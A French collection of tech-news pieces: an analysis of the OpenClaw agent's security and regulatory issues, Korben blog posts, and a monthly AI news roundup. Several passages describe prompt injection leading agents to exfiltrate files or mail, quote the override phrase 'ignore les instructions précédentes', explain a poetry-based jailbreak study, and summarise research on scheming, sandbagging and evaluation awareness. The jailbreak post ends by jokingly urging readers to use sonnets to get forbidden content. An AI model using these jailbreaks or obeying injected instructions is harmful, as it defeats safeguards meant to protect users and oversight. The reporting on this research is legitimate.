Cette licence n’encadre pas l’usage des modèles sous-jacents : bien que le code d'OpenClaw soit libre, les modèles d'IA qu'il appelle restent pour la plupart régis par les conditions d'utilisation strictes de leurs éditeurs respectifs. Cela limite l’indépendance réelle du projet. La licence du code ne garantit pas la liberté de l’ensemble de la chaîne.

Marques

La saga démontre la vigilance des entreprises face à la proximité phonétique des noms de projets. Anthropic a exercé son droit de marque pour protéger l'intégrité de son produit Claude. L’absence d’intention commerciale n’est pas déterminante. Peter Steinberger a dû consulter OpenAI avant le renommage final pour éviter de nouveaux conflits. Ce renommage illustre l’asymétrie entre acteurs : les projets libres restent vulnérables aux marques déposées.

Cadre réglementaire : RGPD et Cloud Act

Paradoxalement, l'auto-hébergement de la chaîne entière favorise la conformité au RGPD et la souveraineté, car les données restent sous le contrôle direct de l'utilisateur (responsable du traitement). Cela permet également d'éviter les risques du CLOUD Act américain en évitant le stockage et la transmission de données sur des serveurs étrangers. Toutefois, l'usage possible des services tiers et clouds publics de l'agent peut classer le système comme « à haut risque » selon l'AI Act européen, les données passant par des clouds soumis aux réglementations extra-territoriales.

Sécurité et vie privée

Stockage et fuite

L'architecture initiale stockait les clés d'API et l'historique des conversations en texte clair sur le disque. Des chercheurs ont identifié des milliers d'instances exposées sur Internet, divulguant des données sensibles. La concentration d'informations locales crée un point de défaillance unique (SPOF) en cas de compromission de la machine.

Authentification

Les premières versions ne requéraient pas d'authentification forte par défaut. Des interfaces d'administration étaient accessibles publiquement à cause de proxies/pare-feux mal configurés. Des correctifs récents ont supprimé les modes de connexion sans authentification pour durcir le système.

Injection de prompts

L'injection de prompts est la menace la plus critique et reste un problème non résolu dans l'industrie. Un attaquant peut insérer des instructions malveillantes dans un courriel ou un site web consulté par l'agent. L'IA peut alors exécuter des ordres indésirables, comme l'exfiltration de fichiers, en croyant obéir à son propriétaire.

Contrôle et privilèges

OpenClaw agit comme un super-utilisateur virtuel avec des accès profonds au système : l’agent dispose de privilèges élevés, il peut exécuter des commandes système, et il agit parfois avec des droits excessifs. Il combine l'accès aux données privées, l'exposition à des contenus non vérifiés et la capacité de communication externe. La séparation des privilèges est insuffisante par défaut, l’isolation reste complexe, et le risque augmente avec l’autonomie. Ce mélange de privilèges et autonomie transforme l'assistant en un vecteur d'attaque puissant s'il est détourné.

Durcissement et mitigation

Des correctifs ont été publiés après coup, nombre de commits concernent la sécurité, et la documentation actuelle reconnaît l’absence de configuration parfaite. La communauté recommande donc l'utilisation de conteneurs Docker pour isoler les sessions de l'agent. L'accès à distance doit être sécurisé par des tunnels comme Tailscale ou VPN. L'usage des droits « root » est désormais désactivé par défaut et nécessite une activation explicite (principe du moindre privilège).

Ces pratiques restent encore peu suivies, car difficiles à appliquer pour des non-experts, dans un contexte de déploiement rapide. La sécurité et la vie privée dépendent fortement du niveau technique de l’utilisateur, ne sont pas encore des acquis structurels.

Impact et enjeux de l'IA

Court terme

OpenClaw accélère la productivité en éliminant les tâches de manipulation de données entre applications, en automatisant et en autonomisant les processus via IA et agents. Cependant, il introduit un risque d'IA fantôme (Shadow AI) dans les entreprises où les employés déploient l'outil sans supervision de la direction informatique, ou d'alignement à une charte. La vitesse de diffusion a largement dépassé la maturité des mesures de sécurité initiales.

OpenClaw démocratise les agents autonomes : il rend accessibles rapidement et facilement des capacités jusque-là expérimentales, et il remet en cause d'une certaine manière le monopole des plateformes centralisées. Il expose aussi des utilisateurs non avertis à des risques élevés, la diffusion foudroyante dépasse la capacité de montée de connaissances. Le projet agit comme un révélateur.

Moyen terme

On peut amplement anticiper que le succès rapide du projet pourrait influencer la régulation et une standardisation des protocoles avancés d'agents, pour rendre ces assistants interchangeables. Le cadre réglementaire européen (voire mondial ?) obligera probablement à des certifications de sécurité plus strictes. Les grandes entreprises et organisations gouvernementales pourraient publier des versions sécurisées et certifiées du logiciel pour leurs besoins internes.

Ces nouveaux agents autonomes posent des questions inédites et à grande échelle. La sécurité pourrait devenir une obligation normative. Des outils d’audit spécialisés émergent, les pratiques de durcissement se structurent, OpenClaw sert de cas d’école.

Long terme

L'IA agentique pourrait redéfinir la souveraineté numérique en permettant à chacun de posséder son propre assistant local. Les agents autonomes pourraient devenir les principaux utilisateurs des systèmes numériques, rendant obsolètes certaines tâches manuelles de gestion. Cela transforme l’organisation du travail. L'enjeu éthique et social majeur sera l'imputabilité légale en cas de préjudice causé par une décision autonome de l'IA. La dépendance technologique augmente. La gouvernance devient centrale.

Prisme du logiciel et IA libre et open source

Ouverture

Le code source d'OpenClaw est totalement ouvert et auditable, respectant les critères du logiciel libre. Toutefois, l'ouverture est limitée par la dépendance aux modèles propriétaires dont les poids, les données et processus d'entraînement restent secrets et privateurs. Par exemple, le code ne contient à ce jour pas de télémétrie cachée. L’ouverture favorise l’innovation rapide par l'intelligence collective et l’appropriation communautaire, tout en facilitant bien évidemment les usages détournés.

Gouvernance

Le projet est passé d'une initiative solitaire à une gouvernance plus structurée intégrant plusieurs mainteneurs communautaires. Cette gestion collective ouverte renforce la résilience et l'anti-fragilité mais complexifie la coordination technique et sécuritaire. Les décisions critiques sont désormais partagées, et la sécurité est un enjeu majeur : la maturité dépendra de cette gouvernance.

Éthique

L'autonomie de l'IA pose des questions de responsabilité et met en évidence le risque d'erreurs invisibles ou noyées sans supervision humaine en temps réel et prise de décision sans humain. La frontière entre outil et acteur s’estompe. La transparence opérationnelle et l'auditabilité sont essentielles pour prévenir les usages malveillants tout en protégeant les données personnelles. L’éthique ne peut être entièrement déléguée aux modèles, elle dépend des choix d’architecture des développeurs et également dépend aussi des usages des utilisateurs.

Par conséquent, le fantasme d’une IA omniprésente inquiète et interroge sur la dépendance technologique. À long terme, on peut légitimement craindre que cette automatisation et autonomisation de tâches et processus à la complexité croissante prenne de l’ampleur. Ainsi la probabilité s’accroît de voir la remise en cause non seulement l'existence même de certains métiers, mais plus généralement de voir une dépendance de masse.

Souveraineté

L'auto-hébergement complet permet aux utilisateurs de rester maîtres de leur infrastructure et de leurs données. Cela réduit la dépendance envers les géants technologiques et évite le verrouillage propriétaire. Cela est à mettre en perspective avec l'utilisation des clouds publics et services centralisés, par exemple les modèles d'IA et messageries instantanées propriétaires et étrangers.

Intelligence collective

La force du projet réside dans son écosystème de compétences développées par des contributeurs du monde entier. Cette collaboration expérimentale et novatrice permet d'enrichir l'agent et l'écosystème. Nombre de failles ont pu être identifiées publiquement.

Au-delà du code

Une véritable IA open source devrait inclure les poids du modèle, les données d'entraînement et les processus d'apprentissage et de raffinement. OpenClaw est une infrastructure libre, mais n'est pas une « IA open source » au sens strict, en particulier lorsqu'il utilise des modèles fermés et opaques. Cette asymétrie limite l’auditabilité globale réelle. Elle interroge la notion d’IA libre et/ou open source

Résilience et anti-fragilité

Malgré son jeune âge, OpenClaw a déjà survécu à une crise majeure, et le projet s’étant restructuré, la communauté ayant absorbé le choc. Cette résilience dépendra de la capacité à réagir aux risques majeurs et à grande échelle, la sécurité devant précéder le succès. Le logiciel libre n’immunise pas contre les risques. L'architecture ouverte permet par exemple de basculer immédiatement vers d'autres modèles en cas de changement de politique d'un fournisseur d'API. Si le créateur abandonne le projet, la communauté peut forker le code pour assurer la pérennité de l'outil.

La saga OpenClaw renforce le débat sur la nécessité de surveiller et contrôler ces agents et de mettre garde-fous à tous niveaux.

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  • ✇Korben
  • Anthropic lance Cowork - Claude devient un vrai délégateur d'agents IA
    Anthropic fait parler de lui avec ses recherches sur l'IA ! D'abord avec son protocole MCP qui connecte Claude à nos données (ce truc est incroyable !), et maintenant avec Cowork, un système qui laisse carrément des agents IA travailler en autonomie. Et là, on passe enfin des mots à l'action. Voilà le concept que je vais essayer de vous expliquer clairement... Cowork en fait, c'est une nouvelle fonctionnalité dans Claude Desktop (macOS uniquement pour le moment, hein) qui permet à Claude de trav

Anthropic lance Cowork - Claude devient un vrai délégateur d'agents IA

Par : Korben
13 janvier 2026 à 10:27

Anthropic fait parler de lui avec ses recherches sur l'IA ! D'abord avec son protocole MCP qui connecte Claude à nos données (ce truc est incroyable !), et maintenant avec Cowork, un système qui laisse carrément des agents IA travailler en autonomie.

Et là, on passe enfin des mots à l'action.

Voilà le concept que je vais essayer de vous expliquer clairement... Cowork en fait, c'est une nouvelle fonctionnalité dans Claude Desktop (macOS uniquement pour le moment, hein) qui permet à Claude de travailler en autonomie sur des tâches complexes. Vous lui donnez un objectif, et hop, il se débrouille en coordonnant des sous-tâches en parallèle, un peu comme s'il déléguait en interne à plusieurs spécialistes.

L'interface Cowork dans Claude Desktop - un nouvel onglet dédié à la gestion autonome des tâches ( Source )

Vous définissez une tâche (genre "analyser ce dataset et créer un rapport"), et Claude gère tout en parallèle. Il peut fouiller dans vos fichiers locaux via MCP, coder une solution, tester le code... tout ça de manière coordonnée. Du coup, au lieu de faire tout ça à la main en jonglant entre plusieurs onglets Claude, vous avez un assistant qui sait déléguer en interne.

Et le truc qui me plaît perso, c'est qu'Anthropic continue dans sa logique d'ouverture. Avec MCP , ils avaient déjà montré qu'ils misaient sur la connexion aux données plutôt que sur la puissance brute. Mais là, ils vont encore plus loin puisque Claude peut utiliser les mêmes outils MCP que vous, accéder aux mêmes ressources, et s'interconnecter avec votre workflow existant.

Exemple d'artefact généré par Cowork - une visualisation de données créée automatiquement ( Source )

Bon, y'a encore du boulot évidemment et comme je le vous disais, pour l'instant c'est limité à macOS, et bien sûr faut quand même comprendre comment ça marche pour bien l'utiliser. N'oubliez pas que Claude peut encore se faire rouler comme un bleu si on ne lui donne pas des instructions claires. Et puis, décomposer une tâche complexe, ça demande des instructions précises. Donc un humain !

Mais l'idée est vraiment chouette car à la d'un assistant IA qui vous répond gentiment, vous avez maintenant un assistant qui sait déléguer en interne et gérer plusieurs choses à la fois. Ça me rappelle un peu les recherches d'Anthropic sur le fonctionnement interne de Claude ... ils comprennent enfin mieux leur outil, et peuvent maintenant le rendent utilisable pour des cas concrets.

Bref, si vous avez un Mac et un compte Claude, vous pouvez déjà tester Cowork. C'est clairement une brique de plus dans l'approche "IA pragmatique" d'Anthropic avec moins de hype sur les capacités futures, mais plus de focus sur ce qui marche aujourd'hui.

Source

  • ✇Korben
  • La poésie est une arme... pour contourner la sécurité des LLMs
    Hé bien les amis, on savait déjà que les LLM avaient quelques petites failles de sécurité, mais celle-là est quand même assez… poétique. En effet, des chercheurs de DEXAI et de l’Université Sapienza de Rome viennent de découvrir que reformuler une requête malveillante sous la forme d’un poème permet de contourner les sécurités dans plus de 90% des cas chez certains fournisseurs d’IA. L’équipe a ainsi testé la robustesse de 25 modèles de langage provenant de 9 fournisseurs majeurs : Google, OpenA

La poésie est une arme... pour contourner la sécurité des LLMs

Par : Korben
20 novembre 2025 à 15:27

Hé bien les amis, on savait déjà que les LLM avaient quelques petites failles de sécurité, mais celle-là est quand même assez… poétique. En effet, des chercheurs de DEXAI et de l’Université Sapienza de Rome viennent de découvrir que reformuler une requête malveillante sous la forme d’un poème permet de contourner les sécurités dans plus de 90% des cas chez certains fournisseurs d’IA.

L’équipe a ainsi testé la robustesse de 25 modèles de langage provenant de 9 fournisseurs majeurs : Google, OpenAI, Anthropic, DeepSeek, Qwen, Mistral, Meta, xAI et Moonshot et ils ont pour cela converti 1 200 requêtes potentiellement dangereuses en vers et comparé les résultats avec les mêmes demandes mais en prose classique.

Et là surprise ! Le taux de succès des attaques passe de 8% en prose à 43% en formulation poétique. 5x plus de succès, c’est pas rien ! Je me suis demandé comment c’était possible et d’après le doc de recherche, c’est parce que les filtres de sécurité des LLM fonctionnent principalement par pattern-matching sur des formulations classiques.

Ainsi, quand vous demandez en prose comment fabriquer un truc dangereux, le modèle reconnaît la structure et refuse. Mais quand la même demande est enrobée de métaphores condensées, de rythme stylisé et de tournures narratives inhabituelles, les heuristiques de détection passent à côté.

En gros, les garde-fous sont entraînés à repérer des formes de surface mais pas l’intention sous-jacente, qui elle est nuisible. Voici le tableau. Plus c’est rouge plus le modèle est sensible à l’attaque par poème.

ASR c’est le taux de succès de l’attaque.

Bizarrement, les modèles plus petits refusent plus souvent que les gros. GPT-5-Nano (0% de taux de succès d’attaque) fait mieux que GPT-5 (10%)par exemple. Les chercheurs n’expliquent pas vraiment pourquoi, mais ça suggère que la taille du modèle n’est pas forcément synonyme de meilleure sécurité. C’est peut-être aussi parce que les gros modèles sont tellement doués pour comprendre le contexte qu’ils comprennent aussi mieux ce qu’on leur demande de faire, même quand c’est caché dans des alexandrins.

Au niveau des domaines testés, c’est l’injection de code et les attaques cyber qui passent le mieux avec 84% de réussite. Le contenu sexuel reste le plus résistant avec seulement 24% de taux de succès. Les autres domaines comme le CBRN (chimique, biologique, radiologique, nucléaire), la manipulation psychologique et la perte de contrôle se situent entre les deux…

Bon, après faut quand même nuancer un peu car l’étude se limite aux interactions single-turn (c’est à dire en une seule requête, sans réelle conversation), utilise un seul méta-prompt pour la conversion poétique, et n’a testé que l’anglais et l’italien. Les chercheurs reconnaissent aussi que leurs mesures sont conservatives, donc les vrais taux de succès sont probablement plus élevés. Mais cela n’enlève rien au fait que les implications sont quand même sérieuses.

Prochainement, l’équipe prévoit d’analyser précisément quels éléments poétiques provoquent cet effet (la métaphore ? le rythme ? la rime ?), d’étendre les tests à d’autres langues et d’autres styles, et de développer des méthodes d’évaluation plus robustes face à ces “variations linguistiques”.

Bref, si vous voulez que votre IA vous ponde des choses “non autorisées”, écrivez un joli sonnet, ça a plus de chance de passer ^^.

Source

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  • Nouvelles sur l’IA de septembre 2025
    L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ». Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zv

Nouvelles sur l’IA de septembre 2025

L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

Je continue donc ma petite revue de presse mensuelle. Disclaimer : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations : dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez : difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

Sommaire

Résumé des épisodes précédents

Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

  • System Card : une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…).
  • Jailbreak : un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme "ignore les instructions précédentes et…".

Anthropic public Claude Sonnet 4.5

L’annonce officielle :

Claude Sonnet 4.5 is the best coding model in the world. It's the strongest model for building complex agents. It’s the best model at using computers. And it shows substantial gains in reasoning and math.

Code is everywhere. It runs every application, spreadsheet, and software tool you use. Being able to use those tools and reason through hard problems is how modern work gets done.

Claude Sonnet 4.5 makes this possible. We're releasing it along with a set of major upgrades to our products. In Claude Code, we've added checkpoints—one of our most requested features—that save your progress and allow you to roll back instantly to a previous state. We've refreshed the terminal interface and shipped a native VS Code extension. We've added a new context editing feature and memory tool to the Claude API that lets agents run even longer and handle even greater complexity. In the Claude apps, we've brought code execution and file creation (spreadsheets, slides, and documents) directly into the conversation. And we've made the Claude for Chrome extension available to Max users who joined the waitlist last month.

Traduction :

Claude Sonnet 4.5 est le meilleur modèle de codage au monde. C'est le modèle le plus performant pour créer des agents complexes. C'est le meilleur modèle pour utiliser des ordinateurs. Et il affiche des gains substantiels en raisonnement et en mathématiques.

Le code est partout. Il fait fonctionner chaque application, tableur et outil logiciel que vous utilisez. Être capable d'utiliser ces outils et de raisonner à travers des problèmes difficiles, c'est ainsi que le travail moderne s'accomplit.

Claude Sonnet 4.5 rend cela possible. Nous le publions avec un ensemble de mises à niveau majeures de nos produits. Dans Claude Code, nous avons ajouté les points de contrôle—l'une de nos fonctionnalités les plus demandées—qui sauvegardent votre progression et vous permettent de revenir instantanément à un état précédent. Nous avons actualisé l'interface du terminal et lancé une extension native VS Code. Nous avons ajouté une nouvelle fonctionnalité d'édition de contexte et un outil de mémoire à l'API Claude qui permet aux agents de fonctionner encore plus longtemps et de gérer une complexité encore plus grande. Dans les applications Claude, nous avons intégré l'exécution de code et la création de fichiers (tableurs, présentations et documents) directement dans la conversation. Et nous avons rendu l'extension Claude pour Chrome disponible aux utilisateurs Max qui se sont inscrits sur la liste d'attente le mois dernier.

Le message est assez clair : Anthropic met les bouchées doubles sur l’apprentissage par renforcement pour l’utilisation de Claude en tant qu’assistant de code. Sur les benchmarks fournis par Anthropic, ce nouveau modèle prend la première place. Les premiers benchmarks indépendants et divers retours subjectifs semblent possiblement confirmer cette prétention au podium — au coude à coude avec GPT-5. Les améliorations hors de ce cas d’usage semblent bien plus modestes.

L’annonce habituelle d’un jailbreak a rapidement suivi.

Au niveau de la sécurité des modèles, Anthropic a décidé d’appliquer pour la première fois son niveau de sécurité 3 (ASL-3) à la ligne Sonnet (c’était déjà le cas pour Opus). Cela signifie que vos conversations — y compris par l’API — passent par un modèle supplémentaire classifiant la sensibilité du sujet, bloquant certains sujets sensibles (principalement CBRN).

La System Card nous révèle certaines observations intéressantes : ce nouveau modèle a fait un bond (pas vraiment désiré) dans sa capacité à détecter qu’il est dans le contexte d’une évaluation plutôt que dans un contexte réel, ce qui complexifie évidemment les évaluations dans ce domaine. Anthropic est toutefois assez confiant que cela n’influe pas significativement les résultats, en notant que Sonnet ne se comporte pas d’une manière significativement différente dans les cas où il détecte l’évaluation des cas où il ne le détecte pas. Comme à l’accoutumée pour Anthropic, l’évaluation sur le sujet de la sécurité des modèles s’est faite conjointement avec deux organismes externes, Apollo Research et UK AISI.

Sonnet 4.5 est une amélioration sur à peu près tous les axes mesurés, permettant à Anthropic de lui mettre l’étiquette « le modèle le plus aligné », au coude à coude avec GPT-5. À noter que ça ne signifie pas un usage en toute sécurité : sur par exemple l’injection de prompt dans le cadre d’un agent, avec 10 essais un attaquant a toujours un taux de succès de 40%.

En vrac

CloudFlare introduit Web Bot Auth et Signed Agent. Le premier permet à un bot de s’identifier lui-même à l’aide d’une signature cryptographique, ce qui permet de vérifier que son comportement est conforme aux termes d’utilisation (par exemple, le respect de robots.txt) et de l’exclure en cas de violation de ces termes. Le second a pour but d’associer un bot à un utilisateur réel. L’objectif à terme est de fournir un cadre pour permettre à l’IA d’interagir avec le web pour le compte de l’utilisateur.

Le premier ministre de l’Albanie nomme une IA, Diella, comme ministre des marchés publics, dans un contexte de lutte contre la corruption.

OpenAI publie GPT-5-codex, une variante de GPT-5 spécialisée sur les tâches de programmation.

Des économistes forment un groupe de travail sur le sujet de l’impact d’une future hypothétique IA « transformative » (qui a la capacité d’automatiser la plupart des emplois réalisables par des humains) et publie plusieurs papiers sur la question.

OpenAI annonce une mise à jour de ses politiques de confidentialité appliquées à ChatGPT. En particulier, les conversations utilisateurs sont maintenant scannées automatiquement, et les plus problématiques passées à des humains pour décider des actions à prendre, allant de la fermeture des comptes à prévenir les autorités.

En mai, nous avions rapporté que OpenAI annonçait abandonner sa tentative de casse du siècle. Comme certains le pensaient, ce n’était que partie remise ; une lettre ouverte demande plus de transparence sur le processus de restructuration de l’opération récemment réaffirmé par OpenAI.

Math Inc présente Gauss, un agent pour la formalisation de preuves mathématiques. Son premier succès est d’avoir formalisé en Lean le Théorème des nombres premiers, en complétant le projet non-terminé de Alex Korontorovich et Terence Tao. Sur le même sujet, un papier évalue la capacité de GPT-5 à prouver des conjectures simples (prouvable par un étudiant en université en moins d’une journée) mais non prouvées (car formulées extrêmement récemment). GPT-5 arrive à prouver 3 sur les 5 testées.

Les IA de OpenAI et DeepMind obtiennent une médaille d’or à l’International Collegiate Programming Contest, y compris un problème qu’aucune équipe humaine n’a su résoudre dans le temps imparti.

Un groupe d’experts, de politiques et autres figures publiques appelle à la mise en place de « lignes rouges » à ne pas franchir sur le développement de l’IA, et de réels mécanismes de régulation pour les imposer.

Publication de If Anyone Builds It, Everyone Dies, par Eliezer Yudkowsky et Nates Soares, présentant la thèse que créer une super-intelligence artificielle, dans les conditions et l’état actuel des connaissances, causerait de manière quasi-certaine l’extinction de l’espèce humaine. Ils suggèrent l’adoption de traités internationaux limitant le développement de l’IA.

OpenAI et Apollo Research publient un papier sur le sujet des tendances de l’IA à « tricher » dans divers environnements (contourner les critères d’évaluation par exemple). Ils montrent qu’il est possible d’éliciter un certain nombre de comportements indésirables dans GPT-5 (comme par exemple "sandbagging" : volontairement échouer certaines évaluations pour ne pas paraître « trop dangereux »). Les chercheurs pointent le fait que la solution naïve, entraîner l’IA à ne pas reproduire ces comportements, pose immédiatement la question de « l’IA a-t-elle appris à ne pas le faire, ou a appris à le faire sans être détectée ? » — et évaluent à la place la récente méthode d’alignement de OpenAI, Deliberative alignment, reportant une baisse significative des comportements indésirables. Il est à noter également que les modèles actuels montrent déjà dans leurs chaînes de pensée une certaine capacité à détecter qu’ils sont dans un cadre de test/d’évaluation, et que o3 a déjà développé des méthodes (grossières) pour échapper à la détection.

Un papier explore la raison pour laquelle les modèles de langage ne sont pas déterministes en pratique, et propose une solution pour les situations où le déterminisme est important.

Un papier d’OpenAI propose une explication sur la raison de la persistance des hallucinations : principalement parce que la phase d’apprentissage par renforcement ne récompense pas la réponse « je ne sais pas » quand le modèle ne sait pas.

Un autre papier approche expérimentalement la question « les modèles de langage raisonnent ou ne font-ils que mémoriser et régurgiter ? ». La méthodologie est de créer une entité fictive (« Kevin est né en 1998 à Paris… ») de toute pièce qui ne peut pas être présent dans l’ensemble d’entraînement, d’entraîner un modèle existant dessus, puis de poser une question indirecte (qui peut être déduite, mais pas explicitement donnée) sur cette entité (« Quelle est la langue maternelle de Kevin ? »). Le résultat est équivoque : les modèles arrivent à faire cette déduction quand une des deux entités est réelle (dans notre exemple, Paris), mais pas quand les deux sont fictives (Kevin est né dans (Ville française inventée de toute pièce)).

Une équipe de biologistes utilise une IA pour créer des bactériophages (un virus ciblant certaines bactéries), avec succès.

Sur l’utilisation de l’IA dans l’économie réelle, Anthropic met à jour son Economic Index, et OpenAI publie leur équivalent.

Nouveau benchmark, faire jouer les modèles à Loups-garous. Le score final était assez prévisible (GPT 5 prend la première place), mais l’analyse en profondeur des parties est intéressante. Principe similaire avec Among AIs (l’IA jouant à Among Us). Également dans le domaine des benchmark, publication de SWE-Bench Pro, tâches de programmation réelles et complexes, non-présentes dans les données d’entraînement. VCBench, quant à lui, tente d’évaluer l’IA sur la tâche d’investissement dans le capital-risque — et trouve que l’IA surpasse la plupart des investisseurs humains sur leurs évaluations (avec l’énorme problème toutefois que l’IA évalue rétrospectivement en 2025 des décisions prises en 2015-2020, tandis que les humains évaluaient prospectivement en 2015-2020 des décisions de 2015-2020).

Anthropic publie un guide sur l’écriture d’outils à destination de l’IA.

En parlant d’outils, une piqûre de rappel sur le fait que la sécurité d’un système utilisant une IA lisant des données d’une source externe est toujours un problème ouvert : démonstration qu’il est possible d’exfiltrer des données sensibles à l’aide de ChatGPT, en envoyant un mail à la victime et en attendant que ladite victime connecte ChatGPT à son compte mail.

Reverse-engineering du système de mémoires de Claude et ChatGPT.

Anthropic publie un rapport technique intéressant sur trois incidents ayant conduit à une dégradation de performances de Claude, ayant eu lieu en août.

Grèves de la faim devant les locaux de Anthropic et DeepMind demandant l’arrêt de la course à l’IA.

Humoristique : Si l’on jugeait les humains comme on juge l’IA…

Pour aller plus loin

Par Zvi Mowshowitz

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  • Memflix – Transformez vos données en vidéos MP4 consultables instantanément
    Ça va, pas trop chaud ? Alors tant mieux, parce que je vais vous faire avoir une petite suée tellement ce truc est cool ! Ça s’appelle Memflix et c’est une bibliothèque JavaScript qui transforme vos documents texte en… fichiers vidéo MP4 ! Oui, vous avez bien lu. Et le plus fou, c’est que vous pouvez ensuite faire des recherches sémantiques ultra-rapides dans ces vidéos. L’idée est tellement simple qu’elle en devient géniale car au lieu de stocker vos données dans une base de données traditionne

Memflix – Transformez vos données en vidéos MP4 consultables instantanément

Par : Korben
27 juin 2025 à 17:08

Ça va, pas trop chaud ? Alors tant mieux, parce que je vais vous faire avoir une petite suée tellement ce truc est cool ! Ça s’appelle Memflix et c’est une bibliothèque JavaScript qui transforme vos documents texte en… fichiers vidéo MP4 ! Oui, vous avez bien lu. Et le plus fou, c’est que vous pouvez ensuite faire des recherches sémantiques ultra-rapides dans ces vidéos.

L’idée est tellement simple qu’elle en devient géniale car au lieu de stocker vos données dans une base de données traditionnelle, Memflix encode tout dans des QR codes qui sont ensuite intégrés frame par frame dans une vidéo. Résultat ? Un stockage 10 fois plus efficace qu’une base de données classique et des recherches qui prennent moins d’une seconde, même sur des millions de chunks de texte.

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  • SuperClaude - Le framework qui transforme Claude Code en machine de guerre
    Si vous utilisez Claude Code, le nouvel assistant de programmation d’Anthropic qui vit directement dans votre terminal, vous allez kiffer ce que je vais vous montrer aujourd’hui. Y’a un développeur nommé Anton Knoery (NomenAK sur GitHub) qui vient de sortir SuperClaude, un framework de configuration qui transforme Claude Code en véritable machine de guerre pour les développeurs. Attention, ce n’est pas encore un outil avec 150 dépendances Node.js à la con qui va foutre le bordel dans votre systè

SuperClaude - Le framework qui transforme Claude Code en machine de guerre

Par : Korben
27 juin 2025 à 07:22

Si vous utilisez Claude Code, le nouvel assistant de programmation d’Anthropic qui vit directement dans votre terminal, vous allez kiffer ce que je vais vous montrer aujourd’hui. Y’a un développeur nommé Anton Knoery (NomenAK sur GitHub) qui vient de sortir SuperClaude, un framework de configuration qui transforme Claude Code en véritable machine de guerre pour les développeurs.

Attention, ce n’est pas encore un outil avec 150 dépendances Node.js à la con qui va foutre le bordel dans votre système. Non non, SuperClaude c’est de la pure configuration, zéro code, zéro dépendance externe. Le truc s’installe tranquillement dans votre dossier ~/.claude/ et améliore discrètement les capacités de Claude Code dans tous vos projets.

  • ✇Korben
  • SHADE-Arena - Quand les IA apprennent à nous saborder en douce
    J’étais tranquillement en train de lire le dernier papier d’Anthropic avec mon café quand mon chat (Percy) m’a regardé avec son regard de psychopathe, semblant me demander pourquoi j’avais l’air de quelqu’un qui venait de voir un fantôme. La vraie raison, c’est que je viens de découvrir qu’Anthropic testait maintenant comment les IA pouvaient nous mentir en pleine face au travers de leur projet SHADE-Arena. Derrière ce nom un peu barbare se cache en réalité un laboratoire secret pour mesurer les

SHADE-Arena - Quand les IA apprennent à nous saborder en douce

Par : Korben
18 juin 2025 à 09:02

J’étais tranquillement en train de lire le dernier papier d’Anthropic avec mon café quand mon chat (Percy) m’a regardé avec son regard de psychopathe, semblant me demander pourquoi j’avais l’air de quelqu’un qui venait de voir un fantôme. La vraie raison, c’est que je viens de découvrir qu’Anthropic testait maintenant comment les IA pouvaient nous mentir en pleine face au travers de leur projet SHADE-Arena. Derrière ce nom un peu barbare se cache en réalité un laboratoire secret pour mesurer les capacités de sabotage de nos assistants virtuels préférés.

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